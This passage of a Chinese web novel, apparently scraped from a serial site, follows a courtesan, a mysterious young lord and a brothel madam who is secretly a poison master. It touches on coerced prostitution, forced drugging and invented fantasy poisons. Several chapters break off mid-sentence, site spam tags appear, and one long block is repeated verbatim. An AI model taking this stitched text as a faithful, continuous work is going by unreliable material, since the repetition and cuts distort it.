随着眼睛缓缓向上收回的时候,她忽然瞥见了那个让她曾经一片死寂的心再次得以复燃,令她为之着迷的男人,他正站在对面阁楼的窗前亦是朝着窗外出神着。 可与以往不同,往日里,只要远远的一看到这个男人出现,兰香便会拼尽全部心思去引起他的注意,站在最显眼的地方,做最显眼的事情,一切的一切,只为能让其眼神在她的身上有片刻的停留…… 而这次,她一看到这个男人的脸,先只是微微朝其一怔,随后便“哐当”一声,慌慌张张激动地将窗户立马掩得紧紧的。 而让她今日如此反于常态的原因,却并不是此刻自己的房内有着另一个男人——易君浩的存在。 到底因为什么,似乎她的心里一时半会儿也分的不是特别清楚,到底是因为玉娘,还是那个叫做云儿的女子…… 易君浩见其快要跌出窗外去,大喊一声“小心!” 可他几乎是同时对她伸出去的一只大手,却在还未来得及触到她柔软的身子时,便先被她如此敏捷的反应瞬间怔住。这女子,真不是一般柔柔弱弱的风尘女子。 待玉娘慌乱地将窗户掩好,似是失神般地缓缓回过头来时。一回神,抬头看到的却是易君浩早已复原的依旧质问着的一双怒目,这其中似乎又增加了一些其它的什么在里面。【!¥&¥最快更新】 稍一犹豫,兰香忽然深吐一口浊气,随即将自己那双明亮的眼眸紧紧地闭了起来,似是心里此时已有了主意。 无论如何,这辈子自己已经做了太多让她回不了头的错事。 方才窗外的那个男人,她知道,其实在他的心里根本从未有过她一席之地。所有的一切,只不过是自己的一番执念,心甘情愿而已。 其实,在她答应老鸨做这件事的时候,她就已经暗自决定了所有的这一切都将止于玉娘这件事上。 所以,她绝对不能一而再再而三 地跨越自己的底线,让自己在无尽自责的深渊之中沉沦,继续出卖自己的良知。 她不想余生里,亏欠更多的人。这辈子欠下的债,纵使有下辈子,也还是一定要还的。 她亦不想自己的一生,终究是如此惶惶不安的一生。 再说,眼前的这个人,亦不知其究竟是什么人,找云儿究竟有什么企图?只凭这一身妖艳至极的扮相,薄薄的一张唇,怕是多半也是个薄情寡义的花花公子吧。她又怎能纵容自己帮助如此不堪的一个陌生人,去祸害另一个无辜的女子。 于是,兰香一字一顿,朝其镇定地说道“来吧,动手吧!” 看到兰香这般无所畏惧,易君浩忽然心里暗自怀疑道“看她样子……难道真是我错了?我和丫头真的错过了么,丫头真的如她所说,已经回去如意居了?” 但一回神,他似是仍尚未能解惑,还是有些不相信兰香的话。但同时,他又忽然想起了今夜发生在这万娇阁里的另外一件让他极为纳闷的事来。 于是,他再次半眯起那双细长的桃花眼走近到兰香的身旁,随后便将手里捏着的那只琉璃瓶里散发出阵阵神秘烟雾的透明液体,轻轻滴下一滴在兰香白皙的脸庞上。 半晌后,非但没有感到半点不适,反而突然觉得顿时整个脸上极为舒服的兰香,惊诧地缓缓睁开来双眼。心里万分好奇地疑惑道“眼前这男子究竟是什么人?制毒之术竟会如此高明,似是已经达到了出神入化的境界,似乎比那老鸨还要技高一筹。天下竟有人能将这由海麒麟所喷射出的毒物里提取炼制而成的腐颜水,配的如同胭脂水粉一般巧妙。真的只是一滴水的量,便可将一副姣好的容貌,毁的面目全非,却无半点痛楚。此刻,怕是自己的脸早已彻底被毁了吧。说着,便故作镇静着,双手有些瑟瑟发抖地伸起来缓缓朝着自己脸上摸去…… “这……这是怎么回事?”兰香的一双纤纤玉手一遍又一遍仔仔细细地抚摸着自己的脸,却并没有触摸到任何被腐颜水腐蚀过的痕迹,确是明显感觉自己的脸倒是多了几分细滑。于是,他看着眼前的易君浩震惊地问着。 易君浩冷哼一声,对其悠悠道“放心吧,方才滴在你脸上的,并不是真的腐颜水。那只是本公子特别为自己美容养颜而制的玫瑰精油而已。滴一滴,会让你的脸瞬间变得白皙光滑又细腻。怎么样,效果还不错吧?!” 兰香闻之,瞬间惊的目瞪口呆,竟会是这样。 &n 第一百一十九章:曾经,温柔纯善的奶娘 易君浩问兰香“本公子想问你的正是这幅蓝狐蝶图,你可知这幅图从何而来,又是出自何人之手,是不是万娇阁里有许多这样的画?似乎本公子在隔壁房内亦是见过同这一样的蓝狐蝶图?” “一样?莫不是公子也认为这两幅画是一样的?”兰香一听疑惑地问道。 易君浩当然早已看出来其中的不同,但依旧佯装地问道“难道不是么?那依照兰香姑娘所识呢?” 兰香笑了笑,挑高眉眼用那似是有些骄傲与得意的表情,接着对其悠悠道“这幅栩栩如生,美妙绝伦的蓝狐蝶图在这万娇阁里可是人尽皆知的佳作珍品,但却绝不是每个人都能有资格得到的喔。实不相瞒,这幅画怕是在这世上也就只有两幅而已。其中公子之前所见的,也就是隔壁悬挂的那幅才是真迹,而兰香房内的这幅只不过是出自万娇阁老鸨之手临摹所作而已。怎么样,确实不错吧?” 易君浩听闻,心里即刻暗道“果然如此。” 但稍一迟疑,他抬眼朝其又问“哦?竟是如此。本公子还真没想到这万娇阁里竟是如此卧虎藏龙,就连这儿的老鸨也是颇具才艺啊。只是,不知道这老鸨到底是什么来头?作画的技艺竟如此之高。而且看似作这幅画所用的应该是南安国皇族才有资格用的上好的岩石颜料,莫非那老鸨是来自南安国身份尊贵之人?” 兰香被易君浩的这番猜想瞬间惊道,没想到这世间竟有人连这些都能看出来“公子此言亦对亦不对,老鸨她可并不是什么有高超绘画技艺的人,她只不过是不知从哪儿得了那幅真迹来,却就如同得了什么至宝一样。从此便似是着了魔一般,没日没夜,只要一有空闲,便会独自关起门来着迷地临摹这幅蓝狐蝶图,但最终却仅留下了这一幅满意之作而已。这万娇阁里的客人、姑娘、下人们都人云亦云,爱屋及乌,亦是见图中的尤物栩栩如生,充满神秘,便以得到这幅老鸨的亲手之作为荣,甚至更有许多客人不惜投以重金前来购买,而老鸨却从未有售出之意。否则,还真能发一笔不小的横财呢!” 兰香说到这里停顿了片刻,似是也为其感到有些遗憾,稍后又说“至于那老鸨究竟是何开头,兰香就不得而知了,兰香只是有一次不经意间听到她说自己的老家并不在西秦,而是在南安。” 此话一出,易君浩的眼睛便立刻朝其怔住了。 自古南安国里虽然到处盛行医药之术,但因此也衍生出众多邪恶的巫蛊之术。 虽南安朝中亦是屡下禁令,但这些人总能施以神秘的障眼之法。各地方上亦是时常受其威逼利诱,阳奉阴违。 但是对这画里传说中灵空以外的北国一隅里,天下至阴至毒的冰美人,却 是很多人听闻都敬而远之,虽尤爱却只可远观不可亵玩的一味毒物。 这是因为冰美人不仅仅只是存在于人们的传说之中,其生长环境更是在连绵不断、无尽酷寒的冰海冰川之地,寸草不生,极为恶劣。自是几乎无人真的见过,更别说是拥有。 而且由冰美人所制之毒,不但至阴至毒,且都是世间无解之毒。若是用来练制毒蛊,则更是奇邪无比。 然而,这冰美人虽是南安国所有毒蛊师都敬而远之,爱而不能得之尤物,但凡是具备最上乘的毒蛊术的毒蛊师却依然懂得和熟悉冰美人的用途和制毒蛊之方法。 此时,依照兰香方才所言,这万娇阁的老鸨此时已能完全断定必是南安国人无疑。 而从这幅蓝狐蝶图所画的内容和兰香口中所说的老鸨对这幅画的痴迷与钟爱程度来看,易君浩亦是同时确定了这老鸨独独钟情于此图,怕是醉翁之意不在酒,她……必是来自南安国里拥有最上乘毒蛊术的毒蛊师。 这时候,易君浩忽然叹了口气,眼神变得极为悠长。不知为什么,他忽然想起了自己小时候的第一位奶娘来。 他的第一位奶娘,那本是一个温柔似水、年轻貌美、对自己的照料看护更是无微不至,将自己视为如同已出的纯良妇人。 可就在他还尚且年幼,咿呀学语的时候,奶娘却被人告发其在南安国皇宫内,对易君浩的母后施行邪恶无比的巫蛊之术。 奶娘自认无辜,却被官兵在其房内搜出了铁证如山的证据来。 她又认为是有人故意栽赃陷害,欲求南安国君查明真相好还其清白,就在其犹犹豫豫间,易君浩的母后出来主动不计前嫌向国君求情,奶娘方才没有被判处以极刑,而是被其父皇下令永久地撵出了南安的国土,永世不得回国。 也是从此,便真的再也没了半点音信…… 就在易君浩正陷入一片长长的思绪当中时,兰香忽然有些狐疑地像是又想起了什么“其实,仔细想起来我们老鸨也真的挺厉害的,她仿佛还会医药之术?” 易君浩听闻迅速一回神,问道“哦,此话怎讲?” 兰香稍作回忆,神秘的说道“兰香经常看到老鸨她自己开药方,亲手煎药,像是极为熟悉药剂的样子。” 易君浩好奇地问“哦?她会开药方,还经常开?是她自己吃吗?她都长的如此彪悍壮实了,还需要经常药补?” 兰香顿时掩鼻发出一阵轻笑,道“ 第一百二十章:白衣英雄勇救千金独女 这时候,易君浩忽然叹了口气,眼神变得极为悠长。不知为什么,他忽然想起了自己小时候的第一位奶娘来。 他的第一位奶娘,那本是一个温柔似水、年轻貌美、对自己的照料看护更是无微不至,将自己视为如同已出的纯良妇人。 可就在他还尚且年幼,咿呀学语的时候,奶娘却被人告发其在南安国皇宫内,对易君浩的母后施行邪恶无比的巫蛊之术。 奶娘自认无辜,却被官兵在其房内搜出了铁证如山的证据来。 她又认为是有人故意栽赃陷害,欲求南安国君查明真相好还其清白,就在其犹犹豫豫间,易君浩的母后出来主动不计前嫌向国君求情,奶娘方才没有被判处以极刑,而是被其父皇下令永久地撵出了南安的国土,永世不得回国。 也是从此,便真的再也没了半点音信…… 就在易君浩正陷入一片长长的思绪当中时,兰香忽然有些狐疑地像是又想起了什么“其实,仔细想起来我们老鸨也真的挺厉害的,她仿佛还会医药之术?” 易君浩听闻迅速一回神,问道“哦,此话怎讲?” 兰香稍作回忆,神秘的说道“兰香经常看到老鸨她自己开药方,亲手煎药,像是极为熟悉药剂的样子。” 易君浩好奇地问“哦?她会开药方,还经常开?是她自己吃吗?她都长的如此彪悍壮实了,还需要经常药补?” 兰香顿时掩鼻发出一阵轻笑,道“哪儿啊,刚开始兰香也以为是老鸨她给自己开的一些补药。但是,有一次被兰香不小心看到,这药原来都是给……” 兰香说到这里忽然停了下来,似是发现了自己说了不该说的话。 随即一转念,又继续改口说道“哎呀,瞧瞧兰香这张不把门的快嘴,这些都是咱们万娇阁里姑娘们之间的房中之事,公子就不必详细知道了吧。” 兰香一说完,便低下头来,一脸悔色。心里暗道,好险,差点被自己说漏了嘴。 此话一出,易君浩自然对这些风尘女子的房中之事不会有任何兴趣去窥探,便真的也没有再继续多想,除了更加确定他方才的猜想以外。 看来,他得找空好好会一会这个整日里逼良为娼,心宽体胖却深藏不露、却似极不简单的万娇阁神秘老鸨了。她到底究竟是如何从一个南安国的顶级毒蛊师,成为了这西秦国里最有名的烟花之所的老鸨的。 这时,他忽然又想起了衣上云来。转头看看窗外的天色,或许这个时候她已经在如意居里等不到他,歇息了吧。 于是,便连忙回神对兰香说道“好了,今日天色已晚,本公子先回去歇着了。若是日后还有什么事请教姑娘。还望姑娘能不吝赐教。” 然兰香一听却慌忙推辞说 “公子,兰香真的已经将所有自己知道的都告诉公子了,确实再无其他的了。”她可不想被任何人纠缠上。 然易君浩却并不这样认为,他只是对着她充满诡异的一笑,便大步头也不回地转身朝外走了出去…… “咚咚咚”,易君浩刚出门,又传来一阵轻轻的叩门声。 兰香闻声,从内室朝着门口很快走了出来,似是极为气恼着的样子。 “吱呀”一声,门一边被兰香打开着,一边传出她似是极不耐烦的声音来“我说你这人究竟怎么回事啊?本姑娘不是跟你说过了,已将知道的全都告诉你了吗,你却为何还是如同一张狗皮膏药一般贴着本姑娘,你要是再阴魂不散的话,本姑娘就真要去找老鸨来收拾你了。这可是万娇阁啊,对付像你这样无理取闹的客人还是……” “嫣红,怎么是你?”兰香开门后一抬头方才发现,原来叩门的并不是刚刚离去的易君浩,而是这万娇阁里新进的一个姑娘——嫣红。 兰香顿时一怔,稍一迟疑,便伸手出去一把将其快速地拽了进来“快进来,你怎么来了?”将门轻轻掩上后一回头,方才发现嫣红的眼睛红通通的,像是刚刚哭过一场。 稍一沉思,兰香一边拉着嫣红在案几边落座下来,一边帮其倒了一盏热茶递到手中,嘴里关切问道“是不是刚又哭过了?可是那老鸨又为难你了?” 嫣红举止轻柔地伸手将热茶接过,一听到兰香的慰问,却顿时开始又似是很委屈地吸起了鼻子“香儿姐,这种整日里担惊受怕、惶惶不安的日子,嫣红真的受不了了。方才,你刚前脚与那遮面纱的客人离开,老鸨后脚便又将与他一起来的另一个遮面具的客人分给了嫣红。这以后漫漫人生路,嫣红定是熬不下去的。不如…让嫣红死了算了,乘着现在这身子还是干净的。呜…呜…呜…” 话刚说完,她便又开始更伤心地大声哭了起来。 “嘘”兰香一见,立刻竖起一根纤细的手指抵在自己的红唇上,示意其小声说话。 嫣红立刻压低了哭声,兰香看着她梨花带雨的小可怜模样,心中顿时感慨万千 第一百二十一章:天降贵婿一场梦 当时,她在隔壁房内惊怕地连自己的手背都咬破了,红艳艳的鲜血直冒着,她却无心去搭理。 亦是自此,嫣红心里暗自发誓,此生,她定会以自己的生命来维护这个姐姐。 看着嫣红再次伤心地哭了起来,兰香不经意间低眼下去,忽然瞟了一眼嫣红那双白皙、细嫩、光滑的似是从未曾沾染过阳春水的纤纤玉手。 稍一迟疑,问道“对了嫣红,关于你母亲的深仇大恨,到底是怎么回事?我也一直未曾有时间问你。还有,看你这形象气质,倒像是个大户人家的千金小姐,究竟又是如何由一位养尊处优的大家闺秀沦落为风尘女子的?” 闻之半晌后,嫣红方才吸了吸鼻子对其幽幽道“香儿姐,实不相瞒。我的祖父乃是城南的一位大善人,他一世里积德行善,恩施乡邻,然膝下却只有我母亲一个独女。为了延续祖上香火,在我母亲十五岁及笄的那一年,祖父便决定给我的母亲招赘,谁想却因此惹来了杀身之祸。” 可嫣红却像是被钉在了原地般,兀自发着呆,被兰香推了好几下才怔怔回神,看向兰香,咬了咬嘴唇“那个人他原来就是个骗子……” 说到这里,嫣红停了下来,似是有些往事不堪回首,然如今一提起,心中依旧又惊又怕着。兰香有些着急地问道“到底是怎么回事?” 兰香听了,立刻皱起眉头盯着嫣红尚还留有些发红的眼睛疑惑地跟着重复道“骗子?” 嫣红点点头,回忆着道“是的,那就是一个十恶不赦的大骗子。” 接着,将其悲惨的经历一一向兰香娓娓道来。 我娘及笄的前不久,她在丫鬟家丁的陪同下,前往城南郊外香火鼎盛的祈愿寺里上香,为我外公祈福。 谁料回家半路途中,突遇山贼盗匪的劫持,随行的家丁无一不被杀害。 就在我娘险被众匪凌辱之时,出现了一个白衣飘飘、玉面临风的翩翩公子,他手持长剑好似从天而降的上仙一般,很快便将劫匪一一逼退了去。 还因此受了严重的刀伤,方才将我娘救了下来,并保住了她的清白,还带着刀伤亲自将她护送回府里。 当外公见到他并且在得知此事后,以一百两黄金相赠表示感谢,却被他拒绝了。 外公见此,心里极为过意不去,便执意要他留下,命人在府里好生照顾其养好伤。 他亦是欲要婉言拒绝,最后,在我娘出面一番挽留下,他终于愿意留在府中疗伤。 而就是在接下来无数个朝夕相处的日子里,我外公和我娘这才发现,此人不但气质长相和身手不凡,而且还满腹诗书,可谓是文韬武略,见识也颇为广泛。 自此,我娘便对他芳心暗许了去。 本来我外公 亦是对将要入赘的女婿的人选没有过多要求,只要他人品端正,是正经人家的男子,能够全力保护和疼爱我娘便可。 于是,这个白衣上仙般的飘逸男子,便成了外公心中似天降贵婿般的良婿首选。 眼看着男子的伤一天天好起来,已经没有什么借口将其继续留在府里再观察入微下去了。【¥#@¥更好更新更快】 于是,外公亦是欣喜地满怀期待着,想圆了自己宝贝闺女的那片女儿家心思。他便试探着去问及他的出身,没想他竟自称说,自己是流落于世的孤独浪子,关于自己伤心的过往并不想多言及。 外公心中因此生疑,怕这样的人来历不明,便有些失望却也不得不警觉地打消了最初的念头,不想招这样的人入赘,搞不好,便是引火烧身,引狼入室。 可那人终日里琴棋书画,样样精通。以此,我娘也更是对她痴恋沉迷。 外公本就仅仅只有这样一个独女,又自小没了娘。更是一个人含辛茹苦,又做爹又做娘地将其养大成人。 为了我娘能幸福安乐,外公家产万贯却从来不曾有过纳妾的想法。 最后,在我娘的执意坚持下,不得已只能顺了我娘的意,将那人招进了府里,成了他的女婿。 刚开始,他对我外公尚还算得上孝顺,也恭恭敬敬;与我娘,亦算举案齐眉,对她的关怀可谓无微不至。 不久后,我娘便有了身孕。 而之后有一天,竟被我娘无意中听到了他的一个大秘密。 有一日夜里,我娘从睡梦中醒来,发现他并不在自己枕边,便起身来查看。 岂料,从书房的窗户缝隙里,竟发现他在与一个身着一袭夜行衣的神秘男子在窃窃私语着什么。 从他们的交谈之中,我娘隐隐约约听到了他们在说什么急需要银两,要用来招兵买马的事。 我娘大吃一惊,却在不小心捂嘴的时候撞开了书房她面前半掩着的那扇窗户。 那名一袭夜行衣的神秘男子听闻立刻飞身越过了窗户,手持着一把冰冷无比的利剑抵在我娘的脖子上。 我娘本就被方才听到的话,尚还惊魂未定着,又见一利剑抵向了自己和腹中的孩子,顿时觉得腹痛难忍,捂着肚子呻吟了起来,并开始大口喘气。 那人见了,亦连忙从书房内走出来,一见是我娘,便朝其挥了挥手,示意其先行离开,那神秘夜行衣男子方才按照指示匆匆离去。 &nb 第一百二十二章:昔日恩人变愁人 嫣红叹气回道“我娘原想息事宁人,不想将事情闹大,而且,她已经有了身孕。只要他肯低头认错,将事情都讲清楚,不再对家里有所隐瞒,金盆洗手,重新开始。她也可以既往不咎,当做一切都没有发生过,继续好好过日子。可是给了他那么多时间和空间考虑,等他回头是岸的那一天,谁曾料想,等来的却是杀父灭门之灾呢?香儿姐,你说这世间,怎会有这样无情无义、六亲不认、恩将仇报之人呢……” 兰香听闻,亦是深深叹了口气,无独有偶,天下尽是痴情女子负心汉,嫣红的娘,她的娘,竟都是世间这般痴傻的女子。 半晌后,一转念,兰香问嫣红“那你娘人呢,还有你又怎会沦落到这烟花之地的?” 嫣红犹豫了一会儿,黯然地说道:“我娘...几个月前去世了。我也是后来到处奔走打听,好不容易才听到有人说那个当初收留并救了我们母女性命的妇人,她在这个小镇上谋生,才来到这里寻着试试看。我娘临终的时候,也无别人可托付,便叫我尽力去寻寻那个大恩人,说她一定会收留或者帮助我的。 ”那你可寻到了?”兰香急忙问。 然嫣红此时却忽然眼光闪烁不定起来,一脸难色,似是有些犹犹豫豫不知该不该说,又似是满腹心事不知该如何说出口来吞吞吐吐道“我...我...” 兰香见了生气地道“哼...这都什么时候了,你若真拿我当你姐,想我帮你,那就将所有事情一字不漏地说与我听,越详细越好。如果你还如此犹犹豫豫这般模样,不想说的话那就算了,以后你自己的事自己看着办吧,我也懒得替你操这份闲心。” 兰香说完便佯装着站起身来背过身去对着她,露出一脸的不屑之色“你走吧,我很忙,没有时间在此与你多废话。” 嫣红看到亦连忙起身拉起她的手哀求着“香儿姐,你不要生气。我...我说...我都说。” 原本嫣红也是同样以为自己真的可以如她娘临终时所言,只要找到这个所谓的大恩人,自己今生便也算是有了新的依靠,可谁想这一切却并不像她们想象中的那么简单。 原来,这个所谓的大恩人,她的身份一直都不是那样的简单。 她们母女与其一同生活了十几年,她竟将自己隐藏地那么深。似是从来她们都不曾认识过她一样。 事到如今,这个唯一的依靠不仅仅早已失去了做她避风港湾的能力,而且还将她拖进了万娇阁这无尽的苦海之中…… 嫣红随即缓缓踱步,在兰香房内的内室外室里到处走了一圈,扫了一便兰香整个屋子里的装饰。 兰香不明其意,亦跟随着嫣红的脚步缓缓一边走一边目视着嫣红所落 目过的地方。 许久后,嫣红忽然驻足停留在在兰香房内的那幅蓝狐蝶图前端详了半晌后,出声神秘地问兰香“香儿姐,你可知道为何嫣红一来到万娇阁里,便会住到比香儿姐这间房还要好的隔壁的那间屋子么?如果嫣红没猜错的话,香儿姐房内这墙上所挂的蓝狐蝶图,乃是出自这万娇阁里的老鸨之手,她依照嫣红房内的那幅真迹临摹出来的。嫣红说的对么?” “那个房间,老鸨不是说,是重新专门腾出来将其归置好,给这万娇阁的姑娘们梳拢用的上上房么?因为客人们花了大价钱,所以每个新进的姑娘第一次接客,从你开始都会是在这间房里度过的,不是么?即是如此,那蓝狐蝶图的真迹放在你那个房里也就是无可厚非了呀!”兰香一脸正色着回答道。 嫣红听了嘴角微微勾起,笑了笑不以为然地摇摇头道“那只不过是老鸨为了掩人耳目,在嫣红进来万娇阁时找的一个借口罢了,香儿姐竟也相信?”【…*¥*更好更新更快】 “哦,此话怎讲?莫非...那间房是特意为嫣红你安排的?”兰香顿时惊讶道。 嫣红看着兰香的眼睛,朝其依然微笑着点点头肯定道。 兰香稍一犹豫,猜测道“如此说来,嫣红在这万娇阁里定是有十分熟悉的人咯,能住上那种屋子,想必所识之人定还是能与上面的主子说得上话的。” 忽然,兰香心中顿时为之一怔,觉得自己好傻。不禁想起自己之前奋不顾身地为嫣红所挡的所有灾难,竟是她一切都自作多情了。 没想到嫣红在万娇阁里竟会有如此坚实的靠山,根本就不需要她的帮助。 半晌后,一回神,兰香苦笑一声道“哼...既然如此,你还在我面前装什么可怜,枉我之前为你受了那么多苦,险些连命都丢了。你若去求那个能在万娇阁里呼风唤雨的靠山,岂不更好?” 这时,嫣红方才缓缓说道“事情并不是香儿姐所想的那样。香儿姐一定不会猜到,那个当年收留并救了我们母女性命的大恩人,她在离开了与我们母女独居于偏僻的山脚下的那座小屋后,竟成了这万娇阁里的老鸨。” “什么?原来是她,难怪...”兰香一听顿时惊声道。 愣了半晌后,兰香依旧疑惑不解地问道“ 第一百二十三章:原是,醉翁之意不在酒 送走了嫣红,兰香走出房门,来到楼道的栏杆旁边,刚好看到了正准备上楼来的老鸨,便往前两步叫住了她“妈妈,请留步。” 其实,老鸨正是看着嫣红上来所以才上楼来的,好像有什么事想说的样子。 听到兰香唤她,便迅速作出一副她平日里喜盈盈的常态来,甩着香帕子大声道“哎呦,妈妈我还当是谁呢,原来是我的好女儿兰香啊。今日给你的那位城西来的英俊潇洒的衣家公子如何啊,妈妈没有亏待你吧?!那位小爷可真是要钱有钱,要模样有模样啊,最重要的是,那可还是个雏呢,女儿可还称心如意?对了,他人呢,不会下不来床了吧?” 老鸨一说完,便掩起鼻翼轻笑起来。 然兰香却并不理会老鸨的这些惺惺作态之举,一上前走近她身旁,便自顾自直接压低了声音提醒她“妈妈答应过女儿,等玉娘的事完了之后,便将女儿的卖身契还给女儿的,妈妈不会忘了吧?!” 老鸨闻之立刻拉起兰香的胳膊,又神色慌张警觉地向四周张望了一圈…… 见幸好没有被外人瞧见或听见,于是赶忙将兰香推进房内“哎呀,我的小祖宗啊,你这说话怎么也不挑挑地方呢,这种话怎么能随时随地想说就说出口来呢?!” 然兰香却用那似是极为轻蔑的眼神看着她,一脸不在乎的样子。 此时,在她的心里只想赶快拿到自己的卖身契,带着外婆永远地离开这个让自己厌恶至极的地方。 见此,老鸨方才不得不耐下性子来对其认真说道“此事关系重大,我们都必须要步步谨慎,全程当心。如若一不小心,致使主子的整个计划满盘皆输的话。到时候,不要说你的卖身契了,恐怕就连你我的性命都是保不住的。你可千万不能因为自己的一时的疏忽大意而酿成大祸啊。” 兰香闻此,忽然间口气缓和了下来,随之莞尔一笑,又一次好奇地试探道“妈妈莫要多心,女儿只不过是稍加提醒妈妈,不要忘了当日对女儿的许诺而已...对了,听妈妈这样说,妈妈似乎对阁主很是了解的样子,想必妈妈一定知道主子究竟是什么人吧?妈妈也一定知道主子在处心积虑地计划些什么,对么?还有,妈妈平日里给玉娘用的那些药,究竟是做什么用的?” 兰香话音刚落,老鸨忽然一双眼睛狠狠地瞪向兰香,朝着其身边缓缓走过去,将兰香逼得一步一步后退了去,并说道“吃自己的饭,走自己的路,不该问的就不要问,不该说的更不要多说,管好自己的嘴,否则必会招来杀身之祸。玉娘的事,已经是你见过的不该见的事了,如果不是妈妈我护着你,跟主子求情,怕是你早已被主子碎尸万段了,你信不信?” 听到这席话,兰香忽然异常吃惊,她蓦然想起上次玉娘的事,却是至今都还是有些惶惶不安地后怕着。 那时候,兰香尚且还沉浸在对万娇阁沉稳霸气的主子拓跋泽的痴痴迷恋中。 而玉娘的出现让她彻底失去了拓跋泽对她也仅有的一点点关注。 于是,她便预谋着不怀好意地故意接近玉娘,使出浑身解数地百般讨好她,取得她的信任,想要借机再次夺回拓跋泽对她的注意。 就在美人血即将养成的后期关键时刻,老鸨对玉娘的看护便更加严密。 于是,平日里,兰香便成了玉娘与秦王府联系的唯一纽带,而玉娘却并未告诉兰香那是秦王府派来的人。 有一日,正好是轩辕翰吩咐程良将北烈国大皇子拓跋泽的画像,让人秘密送到万娇阁里给玉娘多加留意的日子。 兰香替玉娘一拿到秦王府送来的画像,偷偷展开来一看竟是自己最熟悉不过的人。 可她将那张画像拿在手里端详了半天,也没看出什么端倪来,那真的只是一张画像而已,没有任何字迹,只这张画像给玉娘到底是什么意思? 就在她正在一边出神地暗自琢磨着,一边上楼走到玉娘的房门口,亦就是兰香目前所居住的房间门口时,她忽然从半掩着的门缝里看到了惊人的一幕。 老鸨正端着一碗药汤,一边捏着玉娘的下颚,一边强行着给玉娘将其灌下,玉娘的全身似是都在拼尽全力痛苦地挣扎着,却如何能对如此身形的老鸨有丝毫的撼动。 终于,一碗药汤全部下肚,不知为何,玉娘整个人亦都随之晕了过去。 这时,老鸨似是眼睛的余光发现了门口兰香的存在,就在兰香还怔在门口目瞪口呆地望着躺在地上一动不动,不知到底发生了何事的兰香发呆时,老鸨一双恶狠狠渗人的眼睛忽然闪现在半掩着的门缝前,如同幽灵一般地瞪着兰香的眼睛,兰香立马被惊吓得打了个颤,稍一回神,她眼疾手快地将手里的画像藏了起来。 接着,老鸨一把将其从门缝里捞了进去,将房门紧紧扣上。 兰香一被老鸨甩进到房内,便紧紧背靠着墙,瑟瑟发抖着怯怯地求饶道“妈妈饶命,女儿只是路过,其实什么都没看到,真的什么都没看到……”然说这句话的声音却越来越低。 然老鸨听了,却并没有说话,而是将目光落向了房内的那幅紫色郁丁香花珠帘。 兰香亦惊恐地随之缓缓将目光移了过去。 若是换作别人,她可能还真的会有些迟疑或者认不出。然此时,即使有密密排列着的珠帘遮挡着,她仍一眼便认定了,那正是她熟悉的再也不能熟悉,几乎已经是刻在自己脑海中,那个让她曾经多少个日日夜夜里魂 牵梦绕沉稳霸气的男人。 她这才反应过来,他并不是像她想象的那样,是喜欢在意玉娘。 &nbs 第一百二十四章:老鸨的恻隐之心 “有毒!”兰香看到,终于忍不住惊恐地叫出了声,同时用自己双手紧紧地捂了嘴。 闻此,隐身于珠帘后的男人朝着老鸨使了个眼色,老鸨便立刻从袖子里掏出一把亮闪闪看似锋利无比的匕首来,朝着兰香的身边一步一步缓缓逼近了过去。 兰香惊诧万分眼睁睁看着老鸨手中举着的匕首,紧紧地贴着身后的墙,一边摇头乞求着,眼泪早已顺着脸颊两边滑下。 就在她绝望地闭起双眼,放弃哀求,准备接受眼前的灾难时,忽然听到了匕首掉落在地上发出的清脆的响声。 她瞬时睁开来眼睛,却看到老鸨重重地跪了下来在地上,竟为她向那珠帘后的男子求情“主子,请主子饶了这个丫头吧。老奴保证,老奴一定看管好这个丫头,她绝对不会将今日之事泄露出去半个字。如若她将今日的事说了出去,老奴愿以死谢罪,求主子了。” 话音未落,老鸨便已重重地叩首了下去,等着那男子的回应,而兰香却早已惊魂不定地被吓呆在了一旁。 然那男子却并未说话,室内众人沉默了片刻过后。只见男子忽然起身来,径自向着门外踱步走了出去,将门轻轻掩上。 这时,老鸨方才抬起头来,擦了擦鬓角渗出的细汗,缓缓起身将至今还呆愣在一旁的兰香跌跌撞撞地扶到桌案边坐了下来。 兰香刚一坐下,看到眼前案上小白可怜的尸首,这才伏在案上哭出了声。 而老鸨却早已无心顾及她的情绪,随之将目光转向了另一边地上,急忙走过去探了探直到现在一直躺在地上的玉娘的脉息,又翻动她的眼皮查看了片刻。 之后,抬起头对着尚还惊魂未定地伏在案上抽噎哭泣着的兰香道“还不快过来帮忙?!” 兰香闻声,这才缓过神来,用手背抹了两把脸颊上的两行热泪,又吸了吸鼻子。便起身来向着地上的玉娘身边走过去,弯腰帮着老鸨将其抬到了内室的床榻上。 这时,兰香有些失落和忧伤地开口问道“妈妈,玉娘这是怎么了啊?她是不是也和小白一样中毒身亡了?” “没有,玉娘的情况方才我已经都仔细查过了,她不会那么快死的。”老鸨一边帮昏迷中的玉娘整理头上凌乱的头发,一边朝兰香回道。 “妈妈,主子为什么要这样对玉娘?主子不是很喜欢玉娘么,还带她去了他的房间,主子可从来都没带过任何女人进过后院他的房间的呀?”兰香疑惑地问。 老鸨看着玉娘此时平静而又苍白的脸,冷笑一声,说道“哼...主子那样的人,怎么可能会真的喜欢上谁呢?!” 闻此,兰香陷入了深深的沉思之中。原来,自己为了那个人,无数个日日夜夜里,她处心积虑地对玉娘 所做的这一切竟都是枉然。 这万娇阁里,真的是阴谋重重。 稍一回神,兰香对老鸨謝道“今日真是多亏了妈妈了,谢妈妈救命之恩,兰香没齿难忘。只是今后……” 闻此,老鸨眼睛缓缓扫了一眼这间屋子,打断了她的思绪,道“这间屋子以后就给你住吧,只是今日这里发生的一切,你一定得给我把嘴闭紧了。还有,今后你一定要听我的话。等这件事过了,我会跟主子请求,将你的卖身契还给你,放你自由。我知道你是被一个负心汉诓骗卖到这里的。” “妈妈说的可都是真的?兰香以后真的可以住在这个房间么?这间屋子宽敞又明亮,布置和装饰也颇具气派,可是万娇阁里姑娘们所住的最好的一个房间了。还有,妈妈说什么…妈妈您刚才说…说真的会等这件事结束后还兰香的自由之身么?”兰香一脸吃惊又欣喜地说道,甚觉极为不可思议的说话竟有些结巴了起来。 老鸨朝其认真地点点头。 其实一直以来,老鸨自己也不是很清楚,她的心里为什么会对这样的一个风尘女子存有一份恻隐之心。 也许是因为在她的内心里觉得在整个万娇阁,兰香是最聪明伶俐的一个,也是凡事最敢拼命的一个。 她觉得兰香敢爱敢恨,经常会为其他姐妹们出头;她也很好强,凡事都会尽全力做到最好;在兰香的身上,老鸨似乎仿佛还能找到自己曾经还是个姑娘的时候,她的影子; 而让她起了这个念头的原因,更是因为,兰香曾经在她外出的时候帮助嫣红挡下了梳拢之祸。 